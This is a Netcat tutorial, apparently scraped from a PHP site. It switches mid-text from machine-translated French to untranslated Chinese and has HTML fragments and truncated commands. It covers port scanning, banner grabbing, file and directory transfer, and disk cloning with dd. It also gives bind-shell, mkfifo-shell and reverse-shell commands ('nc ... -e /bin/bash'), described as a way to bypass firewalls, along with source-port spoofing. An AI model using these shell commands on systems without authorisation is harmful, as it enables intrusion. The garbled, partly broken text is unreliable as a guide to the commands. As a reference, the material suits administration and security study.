Maison >Opération et maintenance >exploitation et maintenance Linux >Commande Netcat sous Linux
[Introduction] Netcat est le couteau suisse des outils réseau. Il peut lire et écrire des données sur le réseau via TCP et UDP. Vous pouvez l'utiliser de différentes manières dans vos scripts en le combinant avec d'autres outils et en le redirigeant. C'est incroyable ce que vous pouvez accomplir avec la commande Netcat. Ce que Netcat fait, c'est établir une connexion entre deux ordinateurs
Netcat est le couteau suisse des outils réseau. Il peut lire et écrire des données sur le réseau via TCP et UDP. Vous pouvez l'utiliser de différentes manières dans vos scripts en le combinant avec d'autres outils et en le redirigeant. C'est incroyable ce que vous pouvez accomplir avec la commande Netcat.
Tout ce que Netcat fait, c'est établir un lien entre deux ordinateurs et renvoyer deux flux de données. Ce que vous pouvez faire après cela dépend de votre imagination. Vous pouvez configurer un serveur, transférer des fichiers, discuter avec des amis, diffuser des médias ou l'utiliser comme client autonome pour d'autres protocoles.
Voici quelques exemples d'utilisation de Netcat.
[A(172.31.100.7) B(172.31.100.23)]
Exemple de commande Linux Netcat :
1. Analyse des ports
L'analyse des ports est souvent utilisée par les administrateurs système et les pirates pour découvrir les ports ouverts sur certaines machines et les aider à identifier les vulnérabilités du système.
$nc -z -v -n 172.31.100.7 21-25
peut s'exécuter en mode TCP ou UDP. La valeur par défaut est TCP. Le paramètre -u est ajusté à udp. Le paramètre
z indique à Netcat d'utiliser 0. IO, faisant référence à Une fois la connexion fermée, aucun échange de données n'aura lieu (Note du traducteur : la traduction ici n'est pas exacte, s'il y en a une autre meilleure, veuillez le signaler)
Le paramètre v fait référence à l'utilisation de l'option redondante (Remarque de traduction : il s'agit d'une sortie détaillée)
Le paramètre n indique à Netcat de ne pas utiliser DNS pour effectuer une requête inversée sur le nom de domaine de l'adresse IP
Cette commande imprimera 21 Tous les ports ouverts à 25. La bannière est un texte. La bannière est un message texte qui vous est envoyé par un service auquel vous êtes connecté. Les informations des bannières sont très utiles lorsque vous essayez d'identifier une vulnérabilité ou le type et la version d'un service. Cependant, tous les services n’envoient pas de bannières.
Une fois que vous avez trouvé des ports ouverts, vous pouvez facilement utiliser le service de connexion Netcat pour récupérer leurs bannières.
$ nc -v 172.31.100.7 21
La commande Netcat se connectera au port ouvert 21 et imprimera les informations de la bannière du service exécuté sur ce port.
Serveur de discussion
Si vous souhaitez discuter avec vos amis, de nombreux logiciels et services d'information sont à votre disposition. Cependant, si vous ne disposez pas d'une configuration aussi luxueuse, par exemple si vous êtes dans un laboratoire informatique et que toutes les connexions externes sont restreintes, comment communiquer avec vos amis qui sont assis toute la journée dans la pièce voisine ? Ne vous déprimez pas, Netcat propose une telle méthode, il vous suffit de créer un serveur Chat, un port prédéterminé, pour qu'il puisse vous contacter.
Serveur
$nc -l 1567
La commande Netcat démarre un serveur TCP sur le port 1567, et toutes les sorties et entrées standard seront sorties sur ce port. La sortie et l’entrée sont affichées dans ce shell.
Client
$nc 172.31.100.7 1567
Tout ce que vous tapez sur la machine B apparaîtra sur la machine A.
3. Transfert de fichiers
La plupart du temps, nous essayons de transférer des fichiers via le réseau ou d'autres outils. Il existe de nombreuses méthodes, telles que FTP, SCP, SMB, etc., mais lorsque vous n'avez besoin de transférer des fichiers que temporairement ou une seule fois, cela vaut vraiment la peine de perdre du temps à installer et configurer un logiciel sur votre machine. Supposons que vous souhaitiez transférer un fichier file.txt de A vers B. Soit A, soit B peut servir de serveur ou de client. Ci-dessous, laissez A servir de serveur et B de client.
Serveur
$nc -l 1567 <p>Client</p><pre class="brush:php;toolbar:false">$nc -n 172.31.100.7 1567 > file.txt
Ici, nous créons un serveur sur A et redirigeons l'entrée de Netcat vers le fichier file.txt, puis le cas échéant En cas de connexion réussie sur ce port, Netcat enverra le contenu du fichier file.
Côté client, nous redirigeons la sortie vers file.txt, lorsque B se connecte à A, A envoie le contenu du fichier et B enregistre le contenu du fichier dans file.txt.
Il y a pas besoin de créer un fichier source en tant que Serveur, on peut aussi l'utiliser de manière inverse. Comme ci-dessous, nous envoyons des fichiers de B vers A, mais le serveur est créé sur A. Cette fois, il nous suffit de rediriger la sortie de Netcat et de rediriger les fichiers d'entrée de B.
B comme serveur
Serveur
$nc -l 1567 > file.txt
Client
nc 172.31.100.23 1567 <p>4. Transfert de répertoire </p><p>L'envoi d'un fichier est simple , mais si nous voulons envoyer plusieurs fichiers, ou le répertoire entier, c'est toujours très simple. Il suffit d'utiliser l'outil de compression tar, de compresser et d'envoyer le package compressé. </p><p>Si vous souhaitez transférer un répertoire de A vers B via le réseau. </p><p>Serveur</p><pre class="brush:php;toolbar:false">$tar -cvf – dir_name | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | tar -xvf -
Ici sur le serveur A, on crée une archive tar et on la redirige via - dans la console puis on utilise pipe, redirection à Netcat, qui peut l'envoyer sur le réseau.
Sur le client, nous téléchargeons le package compressé via le pipeline Netcat et ouvrons le fichier.
Si nous voulons économiser de la bande passante pour la transmission de packages compressés, nous pouvons utiliser bzip2 ou d'autres outils de compression.
Serveur
$tar -cvf – dir_name| bzip2 -z | nc -l 1567
Compressé par bzip2
Client
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
Décompressé par bzip2
5. Cryptez votre réseau Envoyé Données
Si vous vous inquiétez de la sécurité des données que vous envoyez sur le réseau, vous pouvez les crypter avec un outil tel que mcrypt avant d'envoyer vos données.
Côté serveur
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
Utilisez l'outil mcrypt pour crypter les données.
Client
$mcrypt –flush –bare -F -q -m ecb <p>Utilisez l'outil mcrypt pour décrypter les données. </p><p>以上两个命令会提示需要密码,确保两端使用相同的密码。</p><p>这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。</p><p>6. 流视频</p><p>虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用Netcat,我们仍然有希望做成这件事。</p><p>服务端</p><pre class="brush:php;toolbar:false">$cat video.avi | nc -l 1567
这里我们只是从一个视频文件中读入并重定向输出到Netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
这里我们从socket中读入数据并重定向到mplayer。
7、克隆一个设备
如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。
克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上
Server
$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过Netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。
8、打开一个shell
我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用Netcat创建远程shell。
假设你的Netcat支持 -c -e 参数(默认 Netcat)
Server
$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567
这里我们已经创建了一个Netcat服务器并且表示当它连接成功时执行/bin/bash
假如Netcat 不支持-c 或者 -e 参数(openbsd Netcat),我们仍然能够创建远程shell
Server
$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到Netcat 运行的端口1567上。至此,我们已经把Netcat的输出重定向到fifo文件中。
说明:从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到Netcat。
Netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
9、在客户端仅仅简单连接到服务器
Client
$nc -n 172.31.100.7 1567
你会得到一个shell提示符在客户端
反向shell
反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
服务端
$nc -l 1567
在客户端,简单地告诉Netcat在连接完成后,执行shell。
客户端
$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。
10. 指定源端口
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。
服务器端
$nc -l 1567
客户端
$nc 172.31.100.7 1567 -p 25
使用1024以内的端口需要root权限。
该命令将在客户端开启25端口用于通讯,否则将使用随机端口。
11、指定源地址
假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在Netcat中使用-s选项指定ip地址。
服务器端
$nc -u -l 1567 <p>客户端</p><pre class="brush:php;toolbar:false">$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
该命令将绑定地址172.31.100.5。
这仅仅是使用Netcat的一些示例。
其它用途有:
使用-t选项模拟Telnet客户端,
HTTP客户端用于下载文件,
连接到邮件服务器,使用SMTP协议检查邮件,
使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。
简单来说,只要你了解协议就可以使用Netcat作为网络通讯媒介,实现各种客户端。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!